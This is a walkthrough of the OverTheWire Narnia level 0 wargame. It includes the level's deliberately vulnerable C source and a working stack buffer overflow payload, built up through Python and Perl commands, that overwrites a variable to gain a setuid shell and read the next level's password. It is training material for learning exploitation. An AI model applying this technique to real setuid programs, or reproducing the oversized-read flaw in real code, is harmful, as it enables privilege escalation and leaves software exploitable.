April 05, 2025

OverTheWire - narnia0

The Narnia wargames at overthewire.org are designed to help learn basic exploitation techniques. Each level has a binary to exploit, and to make it a bit easier to figure out, the source code is also provided.

Source for narnia0.c (comments added are mine):

#include <stdio.h>
#include <stdlib.h>

int main(){
    long val=0x41414141;
    char buf[20];  // The buffer is 20 characters long

    printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
    printf("Here is your chance: ");
    scanf("%24s", &buf);  // The input can be a string of up to 24 characters, allowing overflow

    printf("buf: %s\n", buf);
    printf("val: 0x%08x\n", val);

    if(val==0xdeadbeef){
        setreuid(geteuid(), geteuid());
        system("/bin/sh");
    }
    else {
        printf("WAY OFF!!!!\n");
        exit(1);
    }

    return 0;
}

Because it’s good practice, I like to inspect the binary before executing it:

narnia0@gibson:/narnia$ file narnia0
narnia0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=72a26cf43f94583cf00e006c1282660780c35766, for GNU/Linux 3.2.0, not stripped

Initial Execution:

narnia0@gibson:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: 123456789
buf: 123456789
val: 0x41414141
WAY OFF!!!!

It looks like this is a buffer overflow attack. The goal is to overwrite val with 0xdeadbeef. Since buf is allocated 20 characters, we can test this by filling it with 20 characters:

narnia0@gibson:/narnia$ python3 -c 'print("B" * 20)' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBB
val: 0x41414100
WAY OFF!!!!

Just to confirm how far the overflow reaches, I tested with 22 and 24 characters:

narnia0@gibson:/narnia$ python3 -c 'print("B" * 22)' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBB
val: 0x41004242
WAY OFF!!!!
narnia0@gibson:/narnia$ python3 -c 'print("B" * 24)' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBBB
val: 0x42424242
WAY OFF!!!!

Now I know exactly how many characters it takes to overwrite val. The next step is to craft a payload that places 0xdeadbeef in the correct location. Since this system uses little-endian byte order, we need to reverse the byte sequence: 0xdeadbeef => de ad be ef => ef be ad de => \xef\xbe\xad\xde

The command:

python3 -c 'print("A" * 20 + "\xef\xbe\xad\xde")' | ./narnia0

Unexpected Issue:

narnia0@gibson:/narnia$ python3 -c 'print("B" * 20 + "\xef\xbe\xad\xde")' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBï¾
val: 0xbec2afc3
WAY OFF!!!!

Hmmm… val changed, but not to 0xdeadbeef. This stumped me for a while. I suspected print() was adding an unintended character, so I tried:

python3 -c 'print("A" * 20 + "\xef\xbe\xad\xde", end="")'

but it didn’t change the output.

Debugging and Solution:

During my research, I found that a similar exploit worked using Perl:

narnia0@gibson:/narnia$ perl -e 'print "B"x20 . "\xef\xbe\xad\xde"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xdeadbeef

That worked! So why didn’t my Python command?

It boils down to string encoding differences:

The fix was to use sys.stdout.buffer.write() to ensure raw bytes were written correctly:

narnia0@gibson:/narnia$ python3 -c 'import sys; sys.stdout.buffer.write(b"B" * 20 + b"\xef\xbe\xad\xde")' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xdeadbeef

Getting the Shell:

The “WAY OFF!!!!” message was gone, but I still didn’t see a shell prompt. It turns out /bin/sh needs interactive input to remain open. Running the exploit with cat kept it from immediately closing:

narnia0@gibson:/narnia$ (python3 -c 'import sys; sys.stdout.buffer.write(b"B" * 20 + b"\xef\xbe\xad\xde")'; cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBᆳ�
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
[REDACTED]

Success! I now have narnia1 privileges and retrieved the password for the next level.